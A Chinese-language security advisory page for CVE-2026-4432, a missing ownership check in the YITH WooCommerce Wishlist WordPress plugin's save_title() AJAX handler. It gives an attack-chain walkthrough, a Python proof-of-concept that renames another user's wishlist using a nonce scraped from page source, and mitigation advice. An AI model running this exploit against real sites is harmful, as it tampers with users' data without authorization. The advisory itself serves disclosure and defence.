IPBUF安全漏洞报告
English
CVE-2026-4432 CVSS 6.5 中危

CVE-2026-4432 YITH WooCommerce Wishlist 权限绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-4432
漏洞类型
权限绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
YITH WooCommerce Wishlist WordPress Plugin

相关标签

权限绕过WordPressWooCommerceIDOR逻辑漏洞

漏洞概述

YITH WooCommerce Wishlist WordPress插件在4.13.0之前的版本中存在安全漏洞。该插件在`save_title()` AJAX处理程序中未能正确验证愿望建表的所有权。虽然该函数检查了随机数,但由于该值公开暴露在页面源代码中,导致未经身份验证的攻击者可以利用此漏洞重命名网站上任何用户的愿望建表,破坏数据完整性。

技术细节

该漏洞源于YITH WooCommerce Wishlist插件在处理愿望建表重命名请求时的逻辑缺陷。受影响的版本(4.13.0之前)在`save_title()` AJAX处理函数中,仅依赖WordPress Nonce(一次性令牌)进行请求合法性校验,而完全缺失了对当前操作用户是否为目标愿望建表所有者的权限检查。

在WordPress生态中,Nonce通常用于防止跨站请求伪造(CSRF),但其值往往直接嵌入在前端页面的HTML源代码中。攻击者无需登录账户,只需访问任意一个包含愿望建表的页面,即可从源代码中读取到有效的Nonce值。随后,攻击者通过构造特定的POST请求发送给`/wp-admin/admin-ajax.php`,在请求中携带获取的Nonce、目标愿望建表ID以及恶意的新标题。由于服务器端未验证请求者与愿望建表ID之间的归属关系,只要Nonce有效,服务器就会执行重命名操作。这属于典型的业务逻辑漏洞,结合了IDOR(不安全的直接对象引用)特征,导致数据完整性受损。

攻击链分析

STEP 1
侦察
攻击者识别目标站点安装了YITH WooCommerce Wishlist插件且版本低于4.13.0。
STEP 2
获取Nonce
攻击者访问站点上的任意愿望建表页面,查看网页源代码,提取出用于AJAX请求的Nonce值。
STEP 3
构造请求
攻击者构造一个POST请求到`/wp-admin/admin-ajax.php`,包含action参数(yith_wcwl_save_title)、目标wishlist_id、新标题及获取的Nonce。
STEP 4
执行攻击
发送请求。服务器验证Nonce有效后,由于缺乏所有权检查,直接执行重命名操作。
STEP 5
达成影响
受害者的愿望建表名称被篡改,造成数据完整性破坏。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://example.com/wp-admin/admin-ajax.php" # Step 1: Retrieve the nonce from the wishlist page source code. # The nonce is typically found in a hidden input field or within a JS variable. # For demonstration, we assume the nonce 'abcd1234ef' was extracted. extracted_nonce = "abcd1234ef" # Step 2: Define the target wishlist ID to rename and the new malicious title. victim_wishlist_id = "15" malicious_title = "Hacked_By_Attacker" # Step 3: Construct the POST payload for the vulnerable AJAX action. payload = { "action": "yith_wcwl_save_title", # The vulnerable AJAX action "wishlist_id": victim_wishlist_id, # Target wishlist ID "wishlist_title": malicious_title, # New title to set "nonce": extracted_nonce # The publicly exposed nonce } # Step 4: Send the exploitation request. # No authentication cookies are required. response = requests.post(target_url, data=payload) # Step 5: Verify the exploit result. if response.status_code == 200 and "success" in response.text: print(f"[+] Exploit successful! Wishlist ID {victim_wishlist_id} renamed.") else: print("[-] Exploit failed. Check nonce or target status.")

影响范围

YITH WooCommerce Wishlist < 4.13.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件的公开访问功能或重命名功能,或者通过Web应用防火墙(WAF)拦截针对`admin-ajax.php`且包含`yith_wcwl_save_title`动作的异常请求,直到完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表